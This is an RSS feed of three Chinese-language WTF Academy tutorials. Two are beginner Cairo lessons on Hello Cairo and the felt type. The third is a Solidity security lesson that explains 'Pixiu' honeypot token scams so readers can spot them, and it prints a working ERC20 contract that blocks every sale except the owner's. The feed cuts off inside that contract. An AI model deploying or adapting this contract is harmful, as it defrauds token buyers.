<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>0xAA</title>
        <link>https://paragraph.com/@wtfacademy</link>
        <description>WTF Academy: wtf.academy</description>
        <lastBuildDate>Tue, 21 Apr 2026 01:31:49 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>0xAA</title>
            <url>https://storage.googleapis.com/papyrus_images/8f404323aabbda8c28742ade7bcb3221d9a25fab7dcbbc602494fca35a03e024.png</url>
            <link>https://paragraph.com/@wtfacademy</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[WTF Cairo极简教程: 2. 基本类型 Felt]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-cairo-2-felt</link>
            <guid>UNjZUg9DuYaah0FVndZ1</guid>
            <pubDate>Sat, 26 Nov 2022 16:29:10 GMT</pubDate>
            <description><![CDATA[我最近在学cairo-lang，巩固一下细节，也写一个WTF Cairo极简教程，供小白们使用。教程基于cairo 0.10.2版本 推特：@0xAA_Science｜@WTFAcademy_ WTF Academy 社群：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在 github: github.com/WTFAcademy/WTF-Cairofeltfelt（field element，域元素）是 cairo 的基本类型，数字，字符串，地址通通由它表示。它是定义在 $[0, P]$ 的整数，其中 P 是一个非常大的质数。在目前的版本中，$P = 2^{251}+17*2^{192}+1$，大小为252 bit。P 具有一些很好的数学性质用于零知识证明，因此没有选择和Solidity一致的256 bit。整型felt 可以被整型赋值，下面的例子中，我们将 7828582 赋值给 res:@view func int() -> (res: felt) { return (res=7828582); } 字节felt 可以被 bytes（十六进制数）赋...]]></description>
            <content:encoded><![CDATA[<p>我最近在学<code>cairo-lang</code>，巩固一下细节，也写一个<code>WTF Cairo极简教程</code>，供小白们使用。教程基于<code>cairo 0.10.2</code>版本</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>WTF Academy 社群：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在 github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/WTFAcademy/WTF-Cairo">github.com/WTFAcademy/WTF-Cairo</a></p><hr><h2 id="h-felt" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>felt</code></h2><p><code>felt</code>（<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Field_(mathematics)">field</a> element，域元素）是 <code>cairo</code> 的基本类型，数字，字符串，地址通通由它表示。它是定义在 $[0, P]$ 的整数，其中 <code>P</code> 是一个非常大的质数。在目前的版本中，$P = 2^{251}+17*2^{192}+1$，大小为<code>252 bit</code>。<code>P</code> 具有一些很好的数学性质用于零知识证明，因此没有选择和<code>Solidity</code>一致的<code>256 bit</code>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">整型</h2><p><code>felt</code> 可以被整型赋值，下面的例子中，我们将 <code>7828582</code> 赋值给 <code>res</code>:</p><pre data-type="codeBlock" text="@view
func int() -&gt; (res: felt) {
    return (res=7828582);
}
"><code>@<span class="hljs-keyword">view</span>
func <span class="hljs-keyword">int</span>() <span class="hljs-operator">-</span><span class="hljs-operator">></span> (res: felt) {
    <span class="hljs-keyword">return</span> (res<span class="hljs-operator">=</span><span class="hljs-number">7828582</span>);
}
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b9e7b7a960198debf68fef221d33a331d96e7555c02229e1a8b5f1ccada57381.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">字节</h2><p><code>felt</code> 可以被 <code>bytes</code>（十六进制数）赋值，下面的例子中，我们将 <code>0x777466</code> 赋值给 <code>res</code>:</p><pre data-type="codeBlock" text="@view
func bytes() -&gt; (res: felt) {
    return (res=0x777466);
}
"><code>@<span class="hljs-keyword">view</span>
func <span class="hljs-keyword">bytes</span>() <span class="hljs-operator">-</span><span class="hljs-operator">></span> (res: felt) {
    <span class="hljs-keyword">return</span> (res<span class="hljs-operator">=</span><span class="hljs-number">0x777466</span>);
}
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bbab7a5e95e5ee0751fb0d94c1ca9d7d3b9ce4acb07db5f3ce338c249a9273ab.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">短字符串</h2><p><code>felt</code> 可以被短字符串（31个字符以内）赋值，太长的字符串需要借助外部的库（cairo-lang 1.0 版本可能会改善）。下面的例子中，我们将 <code>wtf</code> 赋值给 <code>res</code>:</p><pre data-type="codeBlock" text="@view
func shortString() -&gt; (res: felt) {
    return (res=&apos;wtf&apos;);
}
"><code>@<span class="hljs-keyword">view</span>
func shortString() <span class="hljs-operator">-</span><span class="hljs-operator">></span> (res: felt) {
    <span class="hljs-keyword">return</span> (res<span class="hljs-operator">=</span><span class="hljs-string">'wtf'</span>);
}
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f2eb413ed3fb74ae200d28fe974721b6cdefd356fa7f21ea91e6b297d6c359d2.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>上面三个变量 <code>7828582</code>，<code>0x777466</code>，和 <code>&apos;wtf&apos;</code> 对应的<code>felt</code>值其实是相等的，你可以将合约部署到测试网，然后在区块链浏览器的<code>Read Contract</code>页面分别点击<code>Decimal</code>，<code>Hex</code>，和<code>Text</code>看看同一个值的不同格式输出。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">布尔值</h2><p>如果你需要使用布尔值，将<code>felt</code>赋值为<code>0</code>或<code>1</code>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">运算符</h2><p><code>felt</code> 类型支持加，减，乘，除四则运算，但是除法与整数除法有区别。</p><ol><li><p>如果<code>x</code> 能被 <code>y</code> 整除，那么非常好，结果也是整数。下面的例子中，变量 <code>divide</code> = <code>10/5</code> = <code>2</code>。</p></li><li><p>如果 <code>x</code> 不能被 <code>y</code> 整除，比如 <code>3/2</code>，那么很不好，结果既不是 <code>1</code>，<code>2</code>，或 <code>1.5</code>。而是：</p><pre data-type="codeBlock" text="1809251394333065606848661391547535052811553607665798349986546028067936010242
"><code></code></pre><p>是的，非常长的一串数字，为了方便，咱们称这个数字为 $x$，那么 $x$ 代表什么？首先，<code>felt</code> 除法是乘法的逆运算，其实 $x = (P+3)/2$，满足$x$为整数且$2 * x (\mod P) = 3$。</p></li></ol><p>在下面的代码中，我们尝试了<code>felt</code>的四则运算，其中 <code>divide1</code> 变量存储了$x$的值。在 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cairo-lang.org/playground/">playground</a> 编译并部署到测试网之后，我们可以看到 <code>recover = divide1 * 2 = 3</code>。</p><pre data-type="codeBlock" text="@view
func operations() -&gt; (add: felt, minus: felt, multiply: felt, divide: felt, divide1: felt, recover: felt) {
    let x = 10;
    let y = 5;
    let add = x + y;
    let minus = x - y;
    let multiply = x * y;
    let divide = x/y;
    // note the division of felt is different from integers.
    let divide1 = 3/2;
    let recover = divide1*2;
    return (add, minus, multiply, divide, divide1, recover);
}
"><code>@view
func operations() -> (add: felt, minus: felt, multiply: felt, divide: felt, divide1: felt, recover: felt) {
    let <span class="hljs-attr">x</span> = <span class="hljs-number">10</span><span class="hljs-comment">;</span>
    let <span class="hljs-attr">y</span> = <span class="hljs-number">5</span><span class="hljs-comment">;</span>
    let <span class="hljs-attr">add</span> = x + y<span class="hljs-comment">;</span>
    let <span class="hljs-attr">minus</span> = x - y<span class="hljs-comment">;</span>
    let <span class="hljs-attr">multiply</span> = x * y<span class="hljs-comment">;</span>
    let <span class="hljs-attr">divide</span> = x/y<span class="hljs-comment">;</span>
    // note the division of felt is different from integers.
    let <span class="hljs-attr">divide1</span> = <span class="hljs-number">3</span>/<span class="hljs-number">2</span><span class="hljs-comment">;</span>
    let <span class="hljs-attr">recover</span> = divide1*<span class="hljs-number">2</span><span class="hljs-comment">;</span>
    return (add, minus, multiply, divide, divide1, recover)<span class="hljs-comment">;</span>
}
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d4442ab7fe4ad1c366f63040fb4914804c87a0e51610586f19470cb093b9074a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了<code>cairo</code>的基本类型<code>felt</code>，和它支持的运算符。特别要注意的是<code>felt</code>的除法与整数除法不同，可能会得到预期之外的结果。如果想进行整数运算，可以利用<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/math.cairo">math库</a>的<code>unsigned_div_rem()</code>函数。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/c694d75ffda00bc3d053e378ac69d9186eab07d2d4b9967f01bd95cc900ed8fb.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[WTF Cairo极简教程: 1. Hello Cairo（5行代码）]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-cairo-1-hello-cairo-5</link>
            <guid>kxe4NhmoLRA81lQm9LxF</guid>
            <pubDate>Sat, 26 Nov 2022 14:44:38 GMT</pubDate>
            <description><![CDATA[我最近在学cairo-lang，巩固一下细节，也写一个WTF Cairo极简教程，供小白们使用。教程基于cairo 0.10.2版本 推特：@0xAA_Science｜@WTFAcademy_ WTF Academy 社群：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在 github: github.com/WTFAcademy/WTF-CairoCairo 简介cairo（cairo-lang）是StarkNet（以太坊ZK-Rollup扩容方案）智能合约的编程语言。它同时也用于编写可证明程序，证明某个计算已正确执行。Cairo主要有两个特点：ZK友好: Cairo是原生的可证明计算的编程语言，可以直接编译为Stark可证明程序。而Solidity不能。难学: Cairo是低级语言，学习曲线陡峭；并且现在属于开发早期，每个版本都会有很大改变。目前Cairo版本为0.10.2，预计22年年底发行比较成熟的1.0版本。开发工具: Cairo Playground本教程中，我会用cairo playground来运行cairo合约。cairo playgr...]]></description>
            <content:encoded><![CDATA[<p>我最近在学<code>cairo-lang</code>，巩固一下细节，也写一个<code>WTF Cairo极简教程</code>，供小白们使用。教程基于<code>cairo 0.10.2</code>版本</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>WTF Academy 社群：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在 github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/WTFAcademy/WTF-Cairo">github.com/WTFAcademy/WTF-Cairo</a></p><hr><h2 id="h-cairo" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Cairo 简介</h2><p><code>cairo</code>（cairo-lang）是StarkNet（以太坊ZK-Rollup扩容方案）智能合约的编程语言。它同时也用于编写可证明程序，证明某个计算已正确执行。Cairo主要有两个特点：</p><ol><li><p>ZK友好: <code>Cairo</code>是原生的可证明计算的编程语言，可以直接编译为Stark可证明程序。而<code>Solidity</code>不能。</p></li><li><p>难学: <code>Cairo</code>是低级语言，学习曲线陡峭；并且现在属于开发早期，每个版本都会有很大改变。</p></li></ol><p>目前<code>Cairo</code>版本为<code>0.10.2</code>，预计22年年底发行比较成熟的<code>1.0</code>版本。</p><h2 id="h-cairo-playground" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">开发工具: Cairo Playground</h2><p>本教程中，我会用<code>cairo playground</code>来运行cairo合约。<code>cairo playground</code>是<code>Cairo</code>官方开发的在线编辑器，适合新手，可以在浏览器中快速部署智能合约，你不需要在本地安装任何程序。</p><p>网址: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cairo-lang.org/playground/">cairo-lang.org/playground/</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/19d9ac14591eac7339bc885897764b2b61e2779567dab1396a04d5c0ed10ceb6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-hello-cairo" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Hello Cairo</h2><p>第一个Cairo程序很简单，只有5行代码：</p><pre data-type="codeBlock" text="%lang starknet
@view
func gm() -&gt; (res: felt) {
    return (res=&apos;Hello Cairo!&apos;);
}
"><code><span class="hljs-operator">%</span>lang starknet
@<span class="hljs-keyword">view</span>
func gm() <span class="hljs-operator">-</span><span class="hljs-operator">></span> (res: felt) {
    <span class="hljs-keyword">return</span> (res<span class="hljs-operator">=</span><span class="hljs-string">'Hello Cairo!'</span>);
}
</code></pre><p>我们拆开分析，学习cairo代码源文件的结构：</p><ol><li><p>第1行声明了这段代码为 <code>StarkNet</code> 合约。如果不声明，则不能部署在<code>StarkNet</code>上。</p></li></ol><pre data-type="codeBlock" text="%lang starknet
"><code>%lang starknet
</code></pre><ol><li><p>之后，我们写一个函数。第2行，我们用<code>@view</code>修饰这个函数。与<code>solidity</code>中的类似<code>view</code>类似，该函数只能查询但不能修改合约状态。</p></li><li><p>第<code>3-5</code>行我们声明了名为<code>gm</code>的函数，没有参数，返回一个变量，类型为<code>felt</code>。<code>felt</code>（field element，域元素）是 <code>cairo</code> 的基本类型，数字，字符串，地址通通由它表示。然后在函数体中，我们将返回值设为 <code>Hello Cairo!</code>。</p></li></ol><pre data-type="codeBlock" text="@view
func gm() -&gt; (res: felt) {
    return (res=&apos;Hello Cairo!&apos;);
}
"><code>@<span class="hljs-keyword">view</span>
func gm() <span class="hljs-operator">-</span><span class="hljs-operator">></span> (res: felt) {
    <span class="hljs-keyword">return</span> (res<span class="hljs-operator">=</span><span class="hljs-string">'Hello Cairo!'</span>);
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">编译并部署代码</h2><p>我们将代码拷贝到<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cairo-lang.org/playground/">cairo playground</a>的编辑器（Editor）中，然后点击右上角的 <code>Deploy on StarkNet</code> 就能将合约编译并部署到<code>StarkNet</code>测试网上。部署好以后，下面的输出栏（Output）会显示智能合约地址和交易哈。合约部署上链大概需要2-5分钟</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3e7d13c64c11435bbca775a4a8bea5b93985f53f23da43e073670097fa2f05d1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>合约部署成功后，点击合约地址链接跳转到StarkNet的区块链浏览器Voyager（类似以太坊的etherscan）就可以查看合约。一个已部署好的<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://goerli.voyager.online/contract/0x6d6ac69b8c5cdc6c9803985d4762f96af88fa14865281f04adb656da9c949e#readContract">例子</a>。</p><p>下滑到页面底，点击<code>Read Contract</code>栏，可以看到合约里的只读函数<code>gm()</code>。点击<code>gm</code>，将输出选为<code>Text</code>（文本），然后点击<code>Query</code>运行函数，就可以看到<code>Hello Cairo!</code>了！</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e61f7ed19d52b35d7af0b7d589592aaba7d776e4191abe378353b37d8e0aa6ab.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们简单介绍了<code>cairo-lang</code>，并在<code>cairo playground</code>中部署了第一个<code>cairo</code>智能合约--<code>Hello Cairo</code>。之后，我们将继续 <code>Cairo</code> 之程！</p><h2 id="h-cairo" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Cairo 资料推荐</h2><ol><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cairo-lang.org/docs/how_cairo_works/index.html">Cairo官方文档（英文）</a></p></li></ol>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/c694d75ffda00bc3d053e378ac69d9186eab07d2d4b9967f01bd95cc900ed8fb.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S10. 貔貅]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s10</link>
            <guid>sCTYGGeT9E3CXOsiEj7g</guid>
            <pubDate>Fri, 18 Nov 2022 13:01:01 GMT</pubDate>
            <description><![CDATA[我最近在重新学 solidity，巩固一下细节，也写一个“WTF Solidity 极简入门”，供小白们使用（编程大佬可以另找教程），每周更新 1-3 讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity这一讲，我们将介绍貔貅合约和预防方法（英文习惯叫蜜罐代币 honeypot token）。貔貅学入门貔貅是中国的一个神兽，因为在天庭犯了戒，被玉帝揍的肛门封闭了，只能吃不能拉，可以帮人们聚财。但在Web3中，貔貅变为了不详之兽，韭菜的天敌。貔貅盘的特点：投资人只能买不能卖，仅有项目方地址能卖出。 通常一个貔貅盘有如下的生命周期：恶意项目方部署貔貅代币合约。宣传貔貅代币让散户上车，由于只能买不能卖，代币价格会一路走高。项目方rug pull卷走资金。学会貔貅合约的原理，才能更好的识别并避免被割，才能做一个顽强的韭菜！貔貅合约这里我们介绍一个极简的ERC20代币貔貅合约Pixiu。在该合约中，只有合约拥有者...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学 solidity，巩固一下细节，也写一个“WTF Solidity 极简入门”，供小白们使用（编程大佬可以另找教程），每周更新 1-3 讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在 github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTF-Solidity">github.com/AmazingAng/WTF-Solidity</a></p><hr><p>这一讲，我们将介绍貔貅合约和预防方法（英文习惯叫蜜罐代币 honeypot token）。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">貔貅学入门</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Pixiu">貔貅</a>是中国的一个神兽，因为在天庭犯了戒，被玉帝揍的肛门封闭了，只能吃不能拉，可以帮人们聚财。但在Web3中，貔貅变为了不详之兽，韭菜的天敌。貔貅盘的特点：投资人只能买不能卖，仅有项目方地址能卖出。</p><p>通常一个貔貅盘有如下的生命周期：</p><ol><li><p>恶意项目方部署貔貅代币合约。</p></li><li><p>宣传貔貅代币让散户上车，由于只能买不能卖，代币价格会一路走高。</p></li><li><p>项目方<code>rug pull</code>卷走资金。</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/78f3d31c6abd6f2d0c2fd07c66616464e62a6c7e7cb94bf7f3effc41cefb1177.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>学会貔貅合约的原理，才能更好的识别并避免被割，才能做一个顽强的韭菜！</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">貔貅合约</h2><p>这里我们介绍一个极简的ERC20代币貔貅合约<code>Pixiu</code>。在该合约中，只有合约拥有者可以在<code>uniswap</code>出售代币，其他地址不能。</p><p><code>Pixiu</code> 有一个状态变量<code>pair</code>，用于记录<code>uniswap</code>中 <code>Pixiu-ETH LP</code>的币对地址。它主要有三个函数：</p><ol><li><p>构造函数：初始化代币的名称和代号，并根据 <code>uniswap</code> 和 <code>create2</code> 的原理计算<code>LP</code>合约地址，具体内容可以参考 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/25_Create2/readme.md">WTF Solidity 第25讲: Create2</a>。这个地址会在 <code>_beforeTokenTransfer()</code> 函数中用到。</p></li><li><p><code>mint()</code>：铸造函数，仅 <code>owner</code> 地址可以调用，用于铸造 <code>Pixiu</code> 代币。</p></li><li><p><code>_beforeTokenTransfer()</code>：<code>ERC20</code>代币在被转账前会调用的函数。在其中，我们限制了当转账的目标地址 <code>to</code> 为 <code>LP</code> 的时候，也就是韭菜卖出的时候，交易会 <code>revert</code>；只有调用者为<code>owner</code>的时候能够成功。这也是貔貅合约的核心。</p></li></ol><pre data-type="codeBlock" text="// 极简貔貅ERC20代币，只能买，不能卖
contract HoneyPot is ERC20, Ownable {
    address public pair;

    // 构造函数：初始化代币名称和代号
    constructor() ERC20(&quot;HoneyPot&quot;, &quot;Pi Xiu&quot;) {
        address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory
        address tokenA = address(this); // 貔貅代币地址
        address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; //  goerli WETH
        (address token0, address token1) = tokenA &lt; tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序
        bytes32 salt = keccak256(abi.encodePacked(token0, token1));
        // calculate pair address
        pair = address(uint160(uint(keccak256(abi.encodePacked(
        hex&apos;ff&apos;,
        factory,
        salt,
        hex&apos;96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f&apos;
        )))));
    }
    
    /**
     * 铸造函数，只有合约所有者可以调用
     */
    function mint(address to, uint amount) public onlyOwner {
        _mint(to, amount);
    }

    /**
     * @dev See {ERC20-_beforeTokenTransfer}.
     * 貔貅函数：只有合约拥有者可以卖出
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);
        // 当转账的目标地址为 LP 时，会revert
        if(to == pair){
            require(from == owner(), &quot;Can not Transfer&quot;);
        }
    }
}
"><code><span class="hljs-comment">// 极简貔貅ERC20代币，只能买，不能卖</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">HoneyPot</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>, <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> pair;

    <span class="hljs-comment">// 构造函数：初始化代币名称和代号</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"HoneyPot"</span>, <span class="hljs-string">"Pi Xiu"</span></span>) </span>{
        <span class="hljs-keyword">address</span> factory <span class="hljs-operator">=</span> <span class="hljs-number">0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f</span>; <span class="hljs-comment">// goerli uniswap v2 factory</span>
        <span class="hljs-keyword">address</span> tokenA <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>); <span class="hljs-comment">// 貔貅代币地址</span>
        <span class="hljs-keyword">address</span> tokenB <span class="hljs-operator">=</span> <span class="hljs-number">0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6</span>; <span class="hljs-comment">//  goerli WETH</span>
        (<span class="hljs-keyword">address</span> token0, <span class="hljs-keyword">address</span> token1) <span class="hljs-operator">=</span> tokenA <span class="hljs-operator">&#x3C;</span> tokenB ? (tokenA, tokenB) : (tokenB, tokenA); <span class="hljs-comment">//将tokenA和tokenB按大小排序</span>
        <span class="hljs-keyword">bytes32</span> salt <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(token0, token1));
        <span class="hljs-comment">// calculate pair address</span>
        pair <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(
        <span class="hljs-string">hex'ff'</span>,
        factory,
        salt,
        <span class="hljs-string">hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'</span>
        )))));
    }
    
    <span class="hljs-comment">/**
     * 铸造函数，只有合约所有者可以调用
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        _mint(to, amount);
    }

    <span class="hljs-comment">/**
     * @dev See {ERC20-_beforeTokenTransfer}.
     * 貔貅函数：只有合约拥有者可以卖出
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_beforeTokenTransfer</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>,
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        <span class="hljs-built_in">super</span>._beforeTokenTransfer(<span class="hljs-keyword">from</span>, to, amount);
        <span class="hljs-comment">// 当转账的目标地址为 LP 时，会revert</span>
        <span class="hljs-keyword">if</span>(to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pair){
